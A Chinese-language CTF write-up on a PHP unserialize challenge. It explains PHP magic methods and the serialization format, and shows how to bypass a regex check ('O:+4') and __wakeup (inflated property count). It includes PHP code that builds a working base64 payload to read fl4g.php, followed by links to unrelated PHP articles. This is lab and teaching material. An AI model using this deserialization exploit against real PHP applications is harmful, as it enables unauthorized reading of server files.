php安全攻防世界unserialize函數(shù)反序列化示例詳解

步驟
首先打開題目,發(fā)現(xiàn)給了一段源碼:

分析源碼,發(fā)現(xiàn)類里面有三個魔術(shù)方法:
__construct():構(gòu)造函數(shù),對類的變量進行初始化,創(chuàng)建時自動調(diào)用,用得到的參數(shù)覆蓋$file
__destruct():銷毀時調(diào)用,會顯示文件的代碼,這里要顯示fl4g.php
__wakeup():在進行反序列化之前會調(diào)用,會把$file重置成index.php
正則表達式的含義:o或c開頭,冒號,一個或多個數(shù)字,不區(qū)分大小寫
ok,分析完畢:我們要將序列化后的字符串進行base64加密之后進行g(shù)et傳參到var變量即可
但是這里我們可以看出需要繞過__wakeup()函數(shù)以及正則匹配,才能夠拿到flag
__wakeup()方法繞過方法:當(dāng)成員屬性的數(shù)目大于實際數(shù)目的時候即可繞過此方法
正則匹配我們可以使用+來進行繞過
代碼:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");// 傳入我們需要顯示的文件
$b = serialize($a);// 進行序列化
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// 繞過正則匹配
$b = str_replace("1:{","2:{",$b);// 繞過__wakeup()方法
echo base64_encode($b);// 進行base64編碼并輸出
?>
payload:var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

成功拿到flag~
注意:這里有個坑,要是直接將序列化之后的字符串進行手動修改再去找在線網(wǎng)站進行加密則會發(fā)現(xiàn)編碼之后和我們payload里的不太一樣

這是因為file變量為私有變量,所以序列化之后的字符串開頭和結(jié)尾各有一個空白字符,而我們在對序列化之后的字符串進行輸出時,瀏覽器則不顯示空字符,如圖:

細心的朋友也會發(fā)現(xiàn)Demofile只有8個字符,而長度卻顯示10。
所以正確的序列化字符串應(yīng)該是
O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
而我們由于是使用php代碼直接進行編碼的,全自動化,自然不會漏掉空字符。
解釋一下php序列化字符串的格式:
首先對象類型分為以下幾種
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
格式:對象類型:長度:"類名":類中變量的個數(shù):{類型:長度:"值";類型:長度:"值";......}
總結(jié)
考察對php中魔術(shù)方法的熟悉程度,以及反序列化的應(yīng)用
以上就是攻防世界Web php unserialize正則表達式反序列化詳解的詳細內(nèi)容,更多關(guān)于php攻防世界unserialize正則表達式反序列化的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
php查詢mysql大量數(shù)據(jù)造成內(nèi)存不足的解決方法
這篇文章主要介紹了php查詢mysql大量數(shù)據(jù)造成內(nèi)存不足的解決方法,實例分析了mysql查詢時內(nèi)存不足的原因與相應(yīng)的解決方法,并且較為詳細的分析了mysql_unbuffered_query函數(shù)的使用技巧,需要的朋友可以參考下2015-03-03
PHP+MySQL實現(xiàn)輸入頁碼跳轉(zhuǎn)到指定頁面功能示例
這篇文章主要介紹了PHP+MySQL實現(xiàn)輸入頁碼跳轉(zhuǎn)到指定頁面功能,結(jié)合實例形式分析了php連接mysql數(shù)據(jù)庫進行數(shù)據(jù)查詢及分頁顯示、指定頁數(shù)跳轉(zhuǎn)顯示等相關(guān)操作技巧,需要的朋友可以參考下2018-06-06
THINKPHP在添加數(shù)據(jù)的時候獲取主鍵id的值方法
下面小編就為大家?guī)硪黄猅HINKPHP在添加數(shù)據(jù)的時候獲取主鍵id的值方法。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2017-04-04
php使用Image Magick將PDF文件轉(zhuǎn)換為JPG文件的方法
這篇文章主要介紹了php使用Image Magick將PDF文件轉(zhuǎn)換為JPG文件的方法,涉及php使用Image Magick擴展操作圖片的技巧,具有一定參考借鑒價值,需要的朋友可以參考下2015-04-04
PHP編程實現(xiàn)的TCP服務(wù)端和客戶端功能示例
這篇文章主要介紹了PHP編程實現(xiàn)的TCP服務(wù)端和客戶端功能,結(jié)合實例形式分析了php基于socket實現(xiàn)TCP服務(wù)器端與客戶端通信功能的相關(guān)配置、定義與使用技巧,需要的朋友可以參考下2018-04-04

